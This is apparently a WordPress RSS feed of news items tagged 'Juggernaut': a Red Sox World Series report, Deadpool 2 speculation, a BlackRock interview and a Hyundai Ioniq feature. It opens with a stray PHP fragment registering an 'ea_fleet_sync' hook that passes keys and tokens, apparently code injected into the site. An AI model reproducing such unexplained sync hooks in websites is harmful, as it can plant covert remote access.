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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Juggernaut – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 29 Oct 2018 08:16:26 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Juggernaut – Brief News https://briefnews.eu 32 32 Red Sox put cap on juggernaut season with World Series title https://briefnews.eu/red-sox-put-cap-on-juggernaut-season-with-world-series-title/ https://briefnews.eu/red-sox-put-cap-on-juggernaut-season-with-world-series-title/#respond Mon, 29 Oct 2018 08:16:26 +0000 http://briefnews.eu/red-sox-put-cap-on-juggernaut-season-with-world-series-title/ The Boston Red Sox really are that great.

David Price proved his post-season mettle, Steve Pearce homered twice and Boston beat the Los Angeles Dodgers 5-1 on Sunday to finish off a one-sided World Series in five games.

A tormented franchise during decades of frustration and despair before ending an 86-year championship drought in 2004, the Red Sox have become baseball's team of the century with four titles in 15 seasons.

"It's very special. Seeing all these grown men over there, just acting like kids, that's what it's all about," Price said.

Watch highlights of Boston's World Series victory over the Dodgers:

The Boston Red Sox win their ninth World Series title in franchise history after a 5-1 win in game five of the 2018 World Series. 2:34

119 total wins for Boston

Alex Cora's team romped to a 17-2 start and a club-record 108 wins, then went 11-3 in the post-season, dispatching the 100-win New York Yankees and the 103-victory and defending champion Houston Astros in the playoffs. Cora became the first manager from Puerto Rico to win a title and just the fifth rookie manager overall.

Pearce, the World Series MVP, hit a two-run homer on Clayton Kershaw's sixth pitch. Solo homers by Mookie Betts in the sixth inning and J.D. Martinez in the seventh quieted the Dodger Stadium crowd, and Pearce added a solo drive off Pedro Baez in the eighth.

"We are a bunch of grinders," Pearce said, "and this is exactly where we knew we were going to be."

Pearce, a June acquisition from Toronto, had three homers and seven RBIs in the final two games of the Series.

After losing to Houston in Game 7 last year by the same 5-1 score, the Dodgers became the first team ousted on its home field in consecutive World Series since the New York Giants by the New York Yankees at the Polo Grounds in 1936 and '37.

Los Angeles is still looking for its first championship since 1988.

"I can't say enough about what Clayton — what our guys did," manager Dave Roberts said. "Unfortunately we came up short again this year."

Boston won its ninth title, tying the Athletics for third-most behind the Yankees (27) and Cardinals (11). All that stood between the Red Sox and a sweep was an 18-inning loss in Game 3, the longest World Series game ever. They trailed 4-0 in the seventh inning of Game 4 when ace Chris Sale rose from the dugout bench for a fiery, profane, motivational rant, and his teammates woke up in time to rally for a 9-6 win. Boston never trailed in Game 5.

Price rewrites legacy

The 33-year-old Price, a Cy Young Award winner in 2012, long pitched under an October shadow cast by his regular-season success. He had been 0-9 in 11 post-season starts before defeating Astros ace Justin Verlander in the clinching Game 5 of the AL Championship Series. He won his third straight start Sunday and became the first pitcher to beat Cy Young winners in the finale of an LCS and the World Series in the same year.

After allowing two runs over six innings to win Game 2 last Wednesday, Price got two outs in the ninth inning of Friday's marathon game. He became the first to pitch into the eighth inning of a Series game on one day of rest since the Yankees' Bob Turley in 1957.

David Price delivers a pitch to Clayton Kershaw in the third inning. Price struck out five and walked two. (Kevork Djansezian/Getty Images)

"This is why I came to Boston," Price said. "I knew it was a tough place to play. I knew it was challenging with everything that goes on there. I've been through a lot in three years since I came here, but this is why I came."

Price gave up a home run to David Freese on his first pitch, then allowed just two more hits — the last a triple to Freese that Martinez lost in the third-inning twilight and allowed to drop behind him in right. Price struck out five and walked two, retiring 14 in a row before a leadoff walk to Chris Taylor in the eighth ended his night after 89 pitches. He tapped his heart several times to Red Sox fans behind the first base dugout while walking to the bench.

Joe Kelly struck out three straight pinch-hitters and Sale, originally scheduled to start Game 5, fanned three more in the ninth. Sale ended by throwing a slider past Manny Machado, a meagre 4 for 22 (.182) in the Series, and raised both arms as catcher Christian Vazquez ran out to jump on him with glee and teammates from the dugout and bullpens followed.

While Price rose to the occasion, Kershaw was unable to change his. He dropped to 1-4 with a 6.06 ERA in post-season elimination games. Plagued at times by an aching back, the 30-year-old lefty no longer is the dominant pitcher who won three Cy Young Awards, his famous 12-to-6 breaking ball now more 10 to 4:30.

Kershaw allowed four runs and seven hits — three of them homers — in seven innings. He is 9-10 with a 4.32 ERA in 30 post-season appearances, a huge drop from his 153-69 record and 2.39 ERA during the regular season.

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Want to see an alternate design of Juggernaut that didn’t make it into Deadpool 2? Who are the new villains the Fantastic Four have to deal with in Marvel Comics? What’s happening for Batman Day this year? Why did Shazam star Asher Angel‘s parents get annoyed with him? How did the Celine Dion song “Ashes” end up in Deadpool 2? All that and more in this edition of Superhero Bits.

A new edition of Marvel University takes a closer look at the small world of Ant-Man and the Wasp.

Video game company Crystal Dynamics has opened up a new studio to work on the upcoming Avengers game.

Mark Hamill took the time this week to give his long lost son Sebastian Stan a much needed birthday wish.

When the Fantastic Four return to Marvel Comics, they’ll have to deal with a team called The Fantastix.

Deadpool 2 is now available on home video, and this new promo is full of a bunch of different f-words.

A description of a new character coming to the fifth and final season of Gotham could be Bane’s father.

Concept artist Alexander Lozano revealed a more comic accurate design for Juggernaut in Deadpool 2.

Details on this year’s 80th anniversary Batman Day celebrations have now been unveiled by DC Comics.

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]]> https://briefnews.eu/superhero-bits-alternate-juggernaut-design-avengers-4-needs-a-butt-double-more/feed/ 0 The False Tale of Amazon’s Industry-Conquering Juggernaut https://briefnews.eu/the-false-tale-of-amazons-industry-conquering-juggernaut/ https://briefnews.eu/the-false-tale-of-amazons-industry-conquering-juggernaut/#respond Wed, 18 Jul 2018 14:35:29 +0000 http://briefnews.eu/the-false-tale-of-amazons-industry-conquering-juggernaut/ Jeff Bezos may be the richest man of the modern age, but he built his e-commerce empire by playing freely with new ideas—not disrupting swaths of industries


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]]> https://briefnews.eu/the-false-tale-of-amazons-industry-conquering-juggernaut/feed/ 0 Will ‘Deadpool 2’ Feature an Appearance By Juggernaut? https://briefnews.eu/will-deadpool-2-feature-an-appearance-by-juggernaut/ https://briefnews.eu/will-deadpool-2-feature-an-appearance-by-juggernaut/#respond Sat, 05 May 2018 09:43:02 +0000 http://briefnews.eu/will-deadpool-2-feature-an-appearance-by-juggernaut/ Juggernaut in Deadpool 2

Deadpool 2 is going to be chock full of new characters that we haven’t seen in the X-Men universe before. While the Merc with a Mouth will bring his X-Men buddies Colossus and Negasonic Teenage Warhead back into action, it will also see the introduction of X-Force. The roster of mutants on that team includes Zazie Beetz as Domino, Terry Crews as Bedlam, Bill Skarsgard as Zeitgeist, Lewis Tan as Shatterstar, and Rob Delaney as Peter. But there’s another character who might be in the movie that fans weren’t expecting.

Evidence that’s come to light over the past few weeks seems to suggest that the X-Men villain Juggernaut will have some kind of role in Deadpool 2. The early speculation about this character appearing in the sequel was a little flimsy, but a certain track on the Deadpool 2 score seems to basically confirm the character’s presence in the movie. Let’s break down what we’ve seen and heard so far.

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Possible Juggernaut Sighting in TV Spots and Trailers

First, let’s talk about people thinking that they had spotted Juggernaut in the footage that has been released online for Deadpool 2 already. The above shot comes from a TV spot that was released in mid-April, and it’s only a very brief flash of the scene. As you can see, Colossus is punching something metal, and that could easily be the head of a charging Juggernaut. After all, it does have the shape of his signature helmet, even if it’s not burnt reddish orange as he appears in the comics. But that’s not all.

Juggernaut in Deadpool 2

This second image comes from a moment when Domino jumps in the convoy of vehicles that are transporting something. It’s a whole sequence involving Cable and our mutant heroes. It’s presumed they’re transporting mutants, and more than likely that includes Russell, the mutant kid played by Julian Dennison. But what if they’re transporting other mutants too, and maybe one of them breaks out in all the chaos?

If you look at that thermal display above, that looks like the body of a huge mutant. Colossus is pretty big, so there’s a chance it could be him on the scanner, but I think that body looks even bigger than Colossus. Plus, if you look at the head of that body, it looks like head comes to a rounded point, and the shoulders are very close to overtaking the neck. That’s exactly how Juggernaut is shaped. But if that’s not good enough, then here’s the most compelling evidence of Juggernaut in Deadpool 2.

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Deadpool 2 Score Confirmation

The full tracklist for the Deadpool 2 score has been released, and while there isn’t a mention of Juggernaut by name in any of song titles, there is a track called “You Can’t Stop This Mother F*****” on the list. And before you think we’re just making a leap in judgment, here are some of the lyrics of the choir singing on the track:

“You can’t stop him. He’s the Juggernaut. You can’t stop this mother fucker.”

And then the choir continues repeating “Holy shitballs!” for a minute or so. I don’t know about you, but I’d say that’s some pretty definitive proof that at some point Deadpool and his pals are going to tangle with Juggernaut. The only other possible explanation is that the lyrics are maybe about another character as he charges into battle and the juggernaut line is just a wink to fans, but that seems like a stretch.

The biggest question is who is playing him? Will they bring Vinnie Jones back as Juggernaut since he played the character in X-Men: The Last Stand? Or will someone new be brought in to the role prompting Deadpool to make a joke about it? Either one is possible, but no matter which route the movie takes, we’re pretty sure Juggernaut is going to be in this movie somewhere.

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]]> https://briefnews.eu/will-deadpool-2-feature-an-appearance-by-juggernaut/feed/ 0 How Moneyball Tactics Built a Basketball Juggernaut https://briefnews.eu/how-moneyball-tactics-built-a-basketball-juggernaut/ https://briefnews.eu/how-moneyball-tactics-built-a-basketball-juggernaut/#respond Thu, 02 Nov 2017 13:37:08 +0000 http://briefnews.eu/how-moneyball-tactics-built-a-basketball-juggernaut/ A new book documents how venture capitalist Joe Lacob built the Golden State Warriors into NBA champs.

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]]> https://briefnews.eu/how-moneyball-tactics-built-a-basketball-juggernaut/feed/ 0 The equity chief at a $5.4 trillion investment juggernaut thinks you should shrug off one of the market’s biggest fears https://briefnews.eu/the-equity-chief-at-a-5-4-trillion-investment-juggernaut-thinks-you-should-shrug-off-one-of-the-markets-biggest-fears/ https://briefnews.eu/the-equity-chief-at-a-5-4-trillion-investment-juggernaut-thinks-you-should-shrug-off-one-of-the-markets-biggest-fears/#respond Thu, 13 Jul 2017 10:07:28 +0000 http://briefnews.eu/the-equity-chief-at-a-5-4-trillion-investment-juggernaut-thinks-you-should-shrug-off-one-of-the-markets-biggest-fears/ Kate Moore BlackRockBloomberg TV

The fear gauge for stocks is locked near its lowest levels on record, yet in an ironic twist, that very fact has led to one of the most anxiety-inducing situations in global markets.

In an environment starved for the types of price swings that create investment opportunities, traders have turned their attention to one strategy capable of generating returns in a motionless market: betting that those price swings will stay absent by shorting volatility. And that’s helped keep fluctuations at a minimum.

Skeptics will tell you that all is well and good with this approach — until the market gets hit with an unexpected shock, causing a painful unwinding for those crowded into the trade.

But, Kate Moore, the chief equity strategist for the Americas at BlackRock, which oversees $ 5.4 trillion, thinks fears over a quiet market are overblown. To her, the low-volatility environment is a normal part of the ongoing cycle.

In an interview with Business Insider, the BlackRock equity expert spoke about the situation, while also offering thoughts on the red-hot tech sector, financial stocks as they approach earnings season, the Fed and the importance of companies across all sectors embracing new technology.

This interview has been edited for clarity and length.

Joe Ciolli: A lot of people are wary about the low-volatility environment, thinking that the market is too complacent, and that it could be caught off-guard. Do you agree with those concerns?

Kate Moore: We keep hearing questions about whether this is something to be worried about, or if it’s signaling something negative. The discomfort that people are feeling with low volatility feels unfounded to us. One of the things we’ve looked at is, in the long history we have of volatility, has low volatility in and of itself led to bad news for the market, or given a reason to be fearful. The truth is, we find that low volatility is actually the norm with an equity market, not the exception.

Given the fact that technology has often been the low-vol favorite, we’ve heard questions around if there’s a reversal in tech, will that mean the end of the low-vol regime? We don’t think that’s the case. We think it’s just a normal market rotation, and it doesn’t give us pause. But people should still be wary of narratives that any investment can never go wrong.

Bouts of high volatility, when they occur, tend to be very short-lived, and are very often good buying opportunities. They tend to be driven by significant changes in the macro or economic regime, especially when we’re moving into a period of expansion from a period of contraction.

Ciolli: Tech stocks also seem to be a major flash point in the equity market right now, as people debate whether they’re overvalued or not. Where do you come out on the spectrum? Are you bullish or more measured?

Moore: I take a more measured approach to the sector. I see a very strong opportunity over the medium term, but there are a few things in the near term that may not lead to a similar level of outperformance to what we’ve had in the past few quarters.

We all can agree that technology is the most favored trade. The fact that it continues to be a significant overweight in equity portfolios with all different investment styles means that, if investors want to fund other trades and add to positions, they’ll have to likely fund that from tech. That’s what we’ve seen more recently — a technical pressure on the sector that has nothing to do with growth potential, earnings or balance sheets.

Ciolli: What’s your take on overcrowded trades? They can be good to the upside, but can also be painful when things go the other way. Are they bad, or can they be combated if you’re braced for it?

Moore: We need to think of the magnitude of crowded trades. If we see a small amount of crowding — like a one-standard-deviation move above the 24-month average — that doesn’t tell you much. If it’s two standard deviations above, then it’s going to raise a red flag. The magnitude of the rise is also something to watch.

Technology is a very consensus trade, and it has been for an extended period of time, so we don’t see it approaching an inflection point imminently. It’s deserved its ownership, both in terms of the results being delivered by the companies, and the potential it has to disrupt other sectors. At this point, it doesn’t seem to be at an outrageous extreme.

Ciolli: I keep hearing that financial stocks are set to benefit from the double dip of higher interest rates and looser regulation, yet buy ratings from single-stock analysts are fairly scarce. What’s your view on the sector?

Moore: Financials are still not a particularly well-owned sector. It looks to us like the Street is not even at a neutral position in banks. Because it’s not the most popular trade, and because we can see a sustained improvement in earnings and shareholder returns, it still looks like a very interesting sector. The performance that we’ve had over the last month feels justified, and that the catch-up was long overdue.

We have a constructive view on the macro, and this is critically important when we think about banks. In a sustained economic expansion, where we have a consistently firming labor market, which should eventually support some wage inflation and help credit demand, we think the Fed will stay on track in terms of normalization. If that’s your belief, you should expect that this modest rate increase that we’re getting will not only be good for the economy, but also good for demand and the bottom line of bank stocks.

We find that banks are much slower to pass along higher rates to depositors, so every incremental hike in rates goes directly to the bottom line. We’re also seeing banks getting more conservative about lending. I also feel super encouraged by the stress test results, and the cash return strategies that we expect banks to pay out. And valuations are not stretched. We’re close to the five-year average for US financial stocks, while other sectors have re-rated.

For me, it checks all the boxes. It has a good macro story. It has a good fundamental story that will improve on the back of the macro, both from a policy perspective as well as for demand for financial services. You don’t have any valuation roadblock. And you have positioning and sentiment that doesn’t look extreme. It’s very hard for me not to like the sector.

Ciolli: Some people have criticized Fed hawkishness by saying we’re not close enough to our inflation target to raise rates. What are your thoughts on what the Fed has done and looks to be doing?

Moore: We’re all talking normalization instead of rate hikes. If you think back to a few years ago, when we were first approaching the prospect of taking rates off the zero lower bound, everyone was talking about rate hikes. And now everyone has come to accept that it’s actually normalization, as opposed to something that significantly tightens financial conditions.

It’s also important to note that through the last few rate hikes, we’ve actually seen financial conditions loosen, and that’s an important consideration for the Fed. They don’t see us at a place where the market is particularly stretched.

Even though we’ve had a softer patch for inflation, that shouldn’t hold the Fed back from normalizing, especially if we continue to get a small amount of wage inflation. Our view is that if the labor market continues to tighten, then we’ll see that wage inflation come through a little bit more by the back end of this year and into 2018. But not to such a degree that it becomes a huge burden for companies.

It feels like we’re in a sweet spot where growth is strong enough that we can normalize policy a little bit, but it isn’t so strong that we’re talking about a tightening cycle instead of a normalization cycle.

Ciolli: Amazon has been making some big deals and throwing its weight around. It seems like the landscape of retail is really changing. What are your thoughts on the sector?

Moore: The consumer sectors in general are really a story of haves and have-nots. It’s those that leverage technology, and those that don’t. Those that don’t are being correctly punished by the market. Their business model hasn’t adapted, and it’s fair to say that they probably don’t deserve any kind of premium valuation, or strong amount of ownership.

What we’ve seen in terms of the recent deal flow is companies with strong assets and broad consumer bases trying to strengthen their assets and broaden those bases even more.

We all need to step back and assess what disruption we’re seeing from technology across a wide range of sectors. Tech is also disrupting oil production, the way people work and the labor force, manufacturing and production, healthcare services, and price discovery across all markets. In every sector and industry, the haves and have-nots need to be separated out.

Ciolli: Are there any specific sectors that you favor? Dislike?

Moore: Financials, as you probably gathered from my enthusiasm in previous comments, is the sector I’m paying very close attention to. Expectations have come down for second-quarter earnings, based on the top trading comps. The yield curve has flattened, and we’ve had just OK credit growth. So we may have interesting buying opportunities, depending on how the numbers come out. I’m staying constructive on financials.

I like tech over the medium term. But keep in mind it’s subject to continued rotation, because it will be the funding source for other trades.

Another sector I like is healthcare, but much more on a stock selection basis. Performance year-to-date has been stronger than I expected, in aggregate, but I do see real opportunity for certain industries and specific stocks to perform well in the medium term. Some of these stocks are going to perform well through multiple different parts of the business cycle.

The contrarian in me would love to gobble up energy stocks. But we’re seeing massive technology disruption, and even if we think there’s going to be a better supply-and-demand balance on a global basis, innovation is reducing the cost of production. From that perspective, you’d have to be very selective. And it trades so much on macro factors like oil prices that it’s difficult for me to hunt around there.

Another sector on watch for me is industrials. Performance has been strong this year, and there was a huge amount of enthusiasm after the election that obviously hasn’t come true. There’s a longer time horizon for that, but there are still companies in the sector doing very well given where we are in the economic cycle. But we still need to see how sustainable that is. It’s more of a neutral position.

Ciolli: More philosophically, what’s the best piece of advice you can give to an investor just starting out right now?

Moore: The number one thing that’s contributed to my career and professional development has been flexibility, both in terms of career decisions and my investment process.

The industry has changed very dramatically during the time I’ve been in it, and it feels like the pace of change is only increasing. For young people in the business, I’d avoid trying to over-architect your career path. Some of the best career opportunities come when there are moments of change. And professional growth occurs when you’re willing to pivot. Being well-rounded and flexible about job opportunities is very important.

In terms of my investment process, it’s changed a lot throughout my career. You have to be willing to incorporate new information and data sources, and understand that the way you analyze things will have to change over time. It’s also critical to acknowledge when you’re wrong, whether that’s changing your view, closing your position or adopting a new approach. Be flexible. Don’t consistently try to analyze investment opportunities the same way.

I also try to be a sponge and absorb information about everything, even things outside the world of investment. The best investors are those that have a great understanding of history and behavior. You really need to understand what makes people tick.

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]]> https://briefnews.eu/the-equity-chief-at-a-5-4-trillion-investment-juggernaut-thinks-you-should-shrug-off-one-of-the-markets-biggest-fears/feed/ 0 Off-Roading Juggernaut Bike | Autoblog Minute https://briefnews.eu/off-roading-juggernaut-bike-autoblog-minute/ https://briefnews.eu/off-roading-juggernaut-bike-autoblog-minute/#respond Wed, 10 May 2017 02:00:48 +0000 http://briefnews.eu/off-roading-juggernaut-bike-autoblog-minute/

The Rungu Electric Juggernaut is a powerful Portable Off-Road EV. The two front wheels add traction and stability in sand, snow and mud. Motor allows you to travel at a speed of up to 20 MPH.

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The Toyota Prius hasn’t just been synonymous with hybrid technology; it has been the most fuel-efficient model in the U.S. market for years. And since its 2016 redesign, the Prius Eco has been the most fuel-efficient gasoline-powered car without a charging port, ever. So how does the Hyundai Ioniq hybrid’s Blue model, right out of the gate, jump to a spot ahead of the Prius with a combined 58 mpg, making it the most fuel-efficient hybrid available in the United States?

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First, Hyundai has more development years invested than you might think. A dedicated team within Hyundai began working on hybrid powertrains nearly 12 years ago, and developing its so-called TMED (transmission-mounted electrical device) hybrid system 10 years ago. TMED made its debut, as a system, at the 2008 Los Angeles auto show and then in production form in the 2011 Hyundai Sonata hybrid.

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As we concluded on our first drive of the Ioniq hybrid, this is a car with reasonably good drivability, and while we won’t call it downright sporty, it has a perkiness that’s missing from the Prius’ powertrain. It’s hard to believe the Ioniq’s hybrid kit is derived from the system in that 2011 model, in which a lack of finesse in that hybrid powertrain made drivability downright clumsy. But with reworked software Hyundai has made tremendous strides since then. The Ioniq makes the most of the efficiency potential in this hybrid layout, with a different engine and transmission than the Sonata hybrid, and a body structure and platform that were conceived from the start to be hybrid specific.

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At the Ioniq’s U.S. media launch this past week, we asked several key project members how they managed to best the Prius with the automaker’s first attempt at a dedicated hybrid. And here’s what they pointed to:

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2017 Hyundai Ioniq Hybrid engine bay

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An engine that runs lean. According to Yong-Seok Kim, the team leader for eco-technology performance development, thermal management and this engine’s claimed 40 percent thermal efficiency (same as that of the Prius) are two of the most significant factors, as are some fundamental design choices, such as the engine’s long 1.35 stroke-to-bore ratio. The 1.6-liter Atkinson-cycle Kappa four-cylinder uses the engine-block dimensions otherwise reserved for engines in the 1.0- to 1.4-liter class, keeping its thermal mass to a minimum. Split cooling circuits for the head and block as well as a cooled EGR system help keep the air charge consistent and cool. A 2900-psi direct-injection system (the high end of today’s gasoline DI) aids combustion efficiency.

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Battery and power controls. The second most important thing, according to Kim, is the Hyundai’s battery-control strategy. Compared with Toyota and other automakers, Hyundai has more experience using lithium-ion batteries, he says, and much more (higher resolution) data on how to use the battery at particular temperatures and conditions. “So even if GM, in the Volt or Bolt EV, uses the same chemistry and battery, we guarantee it with more warranty, and our efficiency is better because our control algorithm is better,” said Kim.

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Very little lost in translation. Hyundai’s choice of transmissions also works toward maximizing efficiency; the dual-clutch automatic in the Ioniq has a torque-transfer efficiency of 95.7 percent—better than a planetary automatic transmission, a CVT, or the Prius’s two-motor power-split arrangement. The other advantage, as we’ve already found out with some driving time, is that you feel more connected to the powertrain while accelerating; there’s none of the detached, motorboat-like sounds you get in the Prius—or in the Honda Accord hybrid, where Honda has shown how it can eliminate the transmission (and those mechanical losses) completely.

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2017 Hyundai Ioniq side mirrors

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Cutting drag. The Ioniq team attacked all aspects of drag, starting with carefully tweaked aerodynamics. All versions of the Ioniq have a super-slippery 0.24 coefficient of drag (and we’re impressed that the team didn’t have to skimp on side mirrors to get there). All Ioniq models with an internal-combustion engine (hybrid and plug-in-hybrid models) have automatic grille shutters. Underbody shielding is used across the lineup. The brake calipers’ pistons retract slightly to avoid any unwanted pad-on-disc drag when you’re not stepping on the pedal, while Blue models have special aero-optimized wheels. Getting very low rolling resistance is the other crucial piece. Hyundai is using Michelin tires—Michelin Energy Saver A/S tires on Blue and SEL models and, on Limited models, Primacy MXM4 tires (priced at $ 166 each by Tire Rack), which Kim said are the most expensive tires he has ever used.

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Putting the 58-mpg Blue on a special diet. Obviously, reducing weight is an important step, too. Hyundai didn’t just work to keep mass at a minimum in major components—aluminum hood, liftgate, and suspension components, 54 percent high-strength steel for the core body structure—it also spent a lot of effort micromanaging weight on the features level. That’s especially true in the base Blue model—the one that gets a 58-mpg combined rating, while the rest of the lineup gets 55 mpg.

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This bears a little more explanation, though. The U.S. EPA requires vehicles to be grouped into 125-pound weight classes—inertia classes, actually. If an option—leather seats, for example—is applied on more than 33 percent of vehicles, then the weight of the seats has to be accounted for in the vehicle’s ETW. Sunroofs are a good example, because they weigh about 28 pounds—an amount that can easily push a vehicle into the next test class—according to John Shon, the manager of product planning at Hyundai Motor America.

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While there’s no difference in powertrain or core functionality from Ioniq Blue to mid-level Ioniq SEL and the top-of-the-range Limited, Hyundai whittled the Ioniq Blue, which has no major options, to a lower test class than the rest of the lineup by keeping a tight rein on equipment (and actually, there are just five build combinations of the entire Ioniq hybrid lineup, aside from color choices). The Blue omits the other models’ rear center fold-down armrest, power driver’s seat, heated front seats, lower door molding, and blind-spot monitor, all of which add weight, as well as LED headlamps, which don’t. In the noise-isolation area, the Blue model gets its own (lighter) dash pad, trunk mat, and carpet. A wheel design specific to the Blue model saves two-thirds of a pound per wheel.

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It’s all part of some careful planning made by Shon and his U.S. team to manage expectations and make sure that buyers of the most fuel-efficient Ioniq get what they want—and that buyers of more lavishly equipped versions aren’t disappointed with their real-world mileage. “You see quite a bit of that throughout the industry,” explained Shon. “Ultimately, you want to give those customers that choice, because as you add weight and features, you’re going to get lower fuel economy.”

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